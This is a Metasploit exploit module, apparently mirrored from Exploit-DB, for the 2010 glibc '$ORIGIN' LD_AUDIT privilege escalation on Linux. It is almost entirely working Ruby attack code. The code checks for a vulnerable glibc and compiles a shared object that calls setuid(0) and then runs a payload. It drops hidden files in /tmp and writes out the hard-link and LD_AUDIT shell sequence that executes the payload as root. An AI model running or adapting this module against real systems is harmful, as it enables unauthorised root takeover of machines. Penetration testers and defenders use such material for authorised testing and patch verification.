glibc – ‘$ORIGIN’ Expansion Privilege Escalation (Metasploit)

  • 作者: Metasploit
    日期: 2018-02-12
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/44024/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'msf/core/exploit/local/linux'
    require 'msf/core/exploit/exe'
    
    class MetasploitModule < Msf::Exploit::Local
    Rank = ExcellentRanking
    
    include Msf::Post::File
    include Msf::Exploit::EXE
    include Msf::Exploit::FileDropper
    include Msf::Exploit::Local::Linux
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => "glibc '$ORIGIN' Expansion Privilege Escalation",
    'Description'=> %q{
    This module attempts to gain root privileges on Linux systems by abusing
    a vulnerability in the GNU C Library (glibc) dynamic linker.
    
    glibc ld.so in versions before 2.11.3, and 2.12.x before 2.12.2 does not
    properly restrict use of the LD_AUDIT environment variable when loading
    setuid executables which allows control over the $ORIGIN library search
    path resulting in execution of arbitrary shared objects.
    
    This module opens a file descriptor to the specified suid executable via
    a hard link, then replaces the hard link with a shared object before
    instructing the linker to execute the file descriptor, resulting in
    arbitrary code execution.
    
    The specified setuid binary must be readable and located on the same
    file system partition as the specified writable directory.
    
    This module has been tested successfully on glibc version 2.5 on CentOS
    5.4 (x86_64), 2.5 on CentOS 5.5 (x86_64) and 2.12 on Fedora 13 (i386).
    
    RHEL 5 is reportedly affected, but untested. Some versions of ld.so,
    such as the version shipped with Ubuntu 14, hit a failed assertion
    in dl_open_worker causing exploitation to fail.
    },
    'License'=> MSF_LICENSE,
    'Author' =>
    [
    'Tavis Ormandy', # Discovery and exploit
    'Brendan Coles'# Metasploit
    ],
    'DisclosureDate' => 'Oct 18 2010',
    'Platform' => 'linux',
    'Arch' => [ ARCH_X86, ARCH_X64 ],
    'SessionTypes' => [ 'shell', 'meterpreter' ],
    'Targets'=>
    [
    [ 'Automatic', { } ],
    [ 'Linux x86', { 'Arch' => ARCH_X86 } ],
    [ 'Linux x64', { 'Arch' => ARCH_X64 } ]
    ],
    'DefaultTarget'=> 0,
    'References' =>
    [
    [ 'CVE', '2010-3847' ],
    [ 'BID', '44154' ],
    [ 'EDB', '15274' ],
    [ 'URL', 'http://seclists.org/fulldisclosure/2010/Oct/257' ],
    [ 'URL', 'https://www.ubuntu.com/usn/usn-1009-1' ],
    [ 'URL', 'https://security-tracker.debian.org/tracker/CVE-2010-3847' ],
    [ 'URL', 'https://access.redhat.com/security/cve/CVE-2010-3847' ]
    ]
    ))
    register_options(
    [
    OptString.new('SUID_EXECUTABLE', [ true, 'Path to a suid executable', '/bin/ping' ]),
    OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
    ])
    end
    
    def base_dir
    datastore['WritableDir']
    end
    
    def suid_exe_path
    datastore['SUID_EXECUTABLE']
    end
    
    def check
    glibc_banner = cmd_exec 'ldd --version'
    glibc_version = Gem::Version.new glibc_banner.scan(/^ldd\s+\(.*\)\s+([\d\.]+)/).flatten.first
    if glibc_version.eql? ''
    vprint_error 'Could not determine the GNU C library version'
    return CheckCode::Safe
    elsif glibc_version >= Gem::Version.new('2.12.2') ||
    (glibc_version >= Gem::Version.new('2.11.3') && glibc_version < Gem::Version.new('2.12'))
    vprint_error "GNU C Library version #{glibc_version} is not vulnerable"
    return CheckCode::Safe
    end
    vprint_good "GNU C Library version #{glibc_version} is vulnerable"
    
    unless setuid? suid_exe_path
    vprint_error "#{suid_exe_path} is not setuid"
    return CheckCode::Detected
    end
    vprint_good "#{suid_exe_path} is setuid"
    
    unless cmd_exec("test -r #{suid_exe_path} && echo true").include? 'true'
    vprint_error("#{suid_exe_path} is not readable")
    return CheckCode::Detected
    end
    vprint_good "#{suid_exe_path} is readable"
    
    CheckCode::Appears
    end
    
    def upload_and_chmodx(path, data)
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
    rm_f path
    write_file path, data
    cmd_exec "chmod +x '#{path}'"
    register_file_for_cleanup path
    end
    
    def exploit
    check_status = check
    
    if check_status == CheckCode::Appears
    print_good 'The target appears to be vulnerable'
    elsif check_status == CheckCode::Detected
    fail_with Failure::BadConfig, "#{suid_exe_path} is not suid or not readable"
    else
    fail_with Failure::NotVulnerable, 'Target is not vulnerable'
    end
    
    suid_partition = cmd_exec "df -P -- '#{suid_exe_path}' | awk 'NR==2 {print $1}'"
    base_partition = cmd_exec "df -P -- '#{base_dir}' | awk 'NR==2 {print $1}'"
    if suid_partition == base_partition
    vprint_good "'#{suid_exe_path}' and '#{base_dir}' are located on the same partition"
    else
    print_warning "'#{suid_exe_path}' and '#{base_dir}' are not located on the same partition"
    end
    
    payload_name = ".#{rand_text_alphanumeric rand(5..10)}"
    payload_path = "#{base_dir}/#{payload_name}"
    
    # Set target
    uname = cmd_exec 'uname -m'
    vprint_status "System architecture is #{uname}"
    if target.name.eql? 'Automatic'
    case uname
    when 'x86_64'
    my_target = targets[2]
    when /x86/, /i\d86/
    my_target = targets[1]
    else
    fail_with Failure::NoTarget, 'Unable to automatically select a target'
    end
    else
    my_target = target
    end
    print_status "Using target: #{my_target.name}"
    
    cpu = nil
    case my_target['Arch']
    when ARCH_X86
    cpu = Metasm::Ia32.new
    when ARCH_X64
    cpu = Metasm::X86_64.new
    else
    fail_with Failure::NoTarget, 'Target is not compatible'
    end
    
    # Compile shared object
    so_stub = %|
    extern int setuid(int);
    extern int setgid(int);
    extern int system(const char *__s);
    
    void init(void) __attribute__((constructor));
    
    void __attribute__((constructor)) init() {
    setuid(0);
    setgid(0);
    system("#{payload_path}");
    }
    |
    
    begin
    so = Metasm::ELF.compile_c(cpu, so_stub).encode_string(:lib)
    rescue
    print_error "Metasm encoding failed: #{$ERROR_INFO}"
    elog "Metasm encoding failed: #{$ERROR_INFO.class} : #{$ERROR_INFO}"
    elog "Call stack:\n#{$ERROR_INFO.backtrace.join "\n"}"
    fail_with Failure::Unknown, 'Metasm encoding failed'
    end
    
    # Upload shared object
    so_name = ".#{rand_text_alphanumeric rand(5..10)}"
    so_path = "#{base_dir}/#{so_name}"
    upload_and_chmodx so_path, so
    
    # Upload exploit
    link_name = ".#{rand_text_alphanumeric rand(5..10)}"
    link_path = "#{base_dir}/#{link_name}"
    fd = rand(10..200)
    exp = %(
    rm -rf '#{link_path}'
    mkdir '#{link_path}'
    ln #{suid_exe_path} #{link_path}/#{link_name}
    exec #{fd}< #{link_path}/#{link_name}
    ls -l /proc/$$/fd/#{fd}
    rm -rf '#{link_path}'
    ls -l /proc/$$/fd/#{fd}
    mv #{so_path} #{link_path}
    LD_AUDIT="\\$ORIGIN" exec /proc/self/fd/#{fd}
    )
    
    exp_name = ".#{rand_text_alphanumeric rand(5..10)}"
    exp_path = "#{base_dir}/#{exp_name}"
    upload_and_chmodx exp_path, exp
    register_file_for_cleanup link_path
    
    # Upload payload
    upload_and_chmodx payload_path, generate_payload_exe
    
    # Launch exploit
    print_status 'Launching exploit...'
    # The echo at the end of the command is required
    # else the original session may die
    output = cmd_exec "#{exp_path}& echo "
    output.each_line { |line| vprint_status line.chomp }
    end
    end